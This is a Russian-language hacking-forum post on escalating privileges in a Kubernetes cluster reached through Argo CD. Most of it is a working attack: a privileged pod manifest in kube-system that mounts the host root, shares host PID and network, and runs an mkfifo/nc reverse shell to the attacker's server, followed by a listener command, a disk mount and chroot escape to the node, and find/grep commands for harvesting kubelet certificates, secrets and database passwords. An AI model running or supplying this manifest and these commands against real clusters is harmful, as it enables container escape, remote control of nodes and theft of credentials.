LIMB
Вход Регистрация

тема

Повышение привилегий в кластере Kubernetes

DenD · · 1 ответов · 891 просмотров

Всем привет.
Недавно гулял по просторам LIMB и наткнулся на интересную статью про получение первоначального доступа в кластер Kubernetes. Статья интересная, автору респект, всем рекомендую, тему хочется развить.

Почему доступ к поду – мало?

Чтобы ответить на этот вопрос, нужно понимать, как устроен кластер Kubernetes. Он состоит из:

    Master-ноды, которая включает
  • kube-apiserver - фронтенд кластера
  • etcd - хранилище данных (там лежат все секреты и конфиги)
  • kube-scheduler - планировщик задач
  • kube-controller-manager - контроллеры управления состоянием

    Worker-нод:
  • kubelet - агент на ноде
  • kube-proxy - сетевой прокси
  • Container runtime (docker, containerd)
  • Pods - рабочие нагрузки. Каждый под содержит один или несколько контейнеров, имеет свой сетевой интерфейс.

Наша цель-максимум – мастер-нода.

Мы делили апельсин, много наших полегло

Проблема в том, что разработчики Argo CD, да и самого кубера, позаботились о том, чтобы стать кластер админом в лоб было нельзя: из манифестов Argo автоматически удаляются пароли и конфиги, да и взять и закинуть шелл на мастер ноду не дают. К тому же политика кластера может быть урезанная (к примеру, по умолчанию создавать привилегированные поды через Argo CD нельзя). С горем пополам был написан манифест, который пытается взять из этой жизни максимум:

Yaml

apiVersion: v1
kind: Pod
metadata:
  name: reverse-shell-pod
  namespace: kube-system
spec:
  containers:
  - name: shell-container
    image: alpine
    securityContext:
      privileged: true
      runAsUser: 0
      capabilities:
        add:
        - SYS_ADMIN
        - NET_ADMIN
        - SYS_PTRACE
        - SYS_MODULE
        - ALL
    command: ["/bin/sh", "-c"]
    args:
    - |
      apk add curl --no-cache;
      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
  serviceAccountName: service-account-controller
  automountServiceAccountToken: true
  hostNetwork: true
  hostPID: true
  hostIPC: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
  - name: proc
    hostPath:
      path: /proc

Из основного:

Под создается в системном пространстве имен kube-system.
privileged: true - полный root на хосте (вряд ли сработает, но почему бы и не попробовать)
runAsUser: 0 - запускается от root (UID 0)
capabilities: add SYS_ADMIN – позволяет выполнять монтирование, ALL – всё, но может и не сработать
hostNetwork: true - использует сеть хоста (видит все интерфейсы, порты)
hostPID: true - видит все процессы хоста (ps aux, kill, strace)
hostIPC: true - доступ к IPC хоста (IPC - межпроцессное взаимодействие)
volumes: - name: host-root hostPath: path: / - монтирует файловую систему хоста
serviceAccountName: service-account-controller – системный аккаунт с относительно широкими правами (пробовал другие аккаунты – без выдающихся успехов, рекомендую этот).

Чтобы шелл прилетел, нужно так же как и в вышеупомянутой статье – перед синхронизацией с репозиторием запустить на своем VPSe листенер:

Bash
    nc -nlvp port

Что изменилось

Чтобы посмотреть, к чему мы имеем доступ, достаточно посмотреть процессы. С манифестом из другой статьи было так:

Не удалось прогрузить медиа


Стало так:

Не удалось прогрузить медиа


Ищем лозейки

Типичные скрипты для автоматического поиска уязвимостей и мисконфигов работают не всегда. Вот что, например, на тестовом доступе говорит kube-hunter:

Не удалось прогрузить медиа


Он дает много информации, но финальный вердикт – уязвимостей нет. Разумеется, это частный случай, при желании вы всегда можете запустить тулзу сами. Для alpine, который создается нашим манифестом, это делается так:

Bash
apk add git
apk add python3 py3-pip
git clone https://github.com/aquasecurity/kube-hunter.git
cd kube-hunter
pip3 install . --break-system-packages

Монтируем ноду

Нам будет полезно получить доступ к файловой системе ноды – там тоже могут храниться секреты, из нее в теории можно управлять контейнерами.

Bash
apk add lsblk
lsblk
mkdir /machine
mount /dev/nvme0n1p1 /machine
chroot /machine bash
mount -t proc proc /proc # чтобы видеть процессы

Не удалось прогрузить медиа


Таким образом попадаем в файловую систему хоста. Результат на лицо – до этого мы были в созданном поде на ОС Alpine, теперь – нода на Linux.

Что можно посмотреть

Дальше - дело фантазии. Вот примеры команд, которые могут вам пригодиться:

ls /var/lib/kubelet/pki - посмотреть сертификаты kubelet
ls /etc/kubernetes/kubelet/config.json.d - конфигурация ноды
find /var/lib/kubelet/pods -name "*.db" -o -name "*.sql" 2>/dev/null - искать базы данных в других подах
find /var/lib/kubelet/pods -name "*secret*" -type f 2>/dev/null - паттерн для поиска секретов
chroot /host netstat -tupn | grep -E "(5432|3306|27017)" - посмотреть сетевую активность хоста (связанную с базами данных)
find /var/lib/kubelet/pods -name "*.yaml" -o -name "*.properties" | xargs grep -l "database\|password" 2>/dev/null - искать конфиги приложений

Пример:

Не удалось прогрузить медиа


Вся информация представлена в образовательных целях и для повышения осведомленности в области безопасности. Проводите тестирование на проникновение только с явного письменного разрешения владельца целевой системы.
👍68 ❤️12 😁13 🤔11
Полезно
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.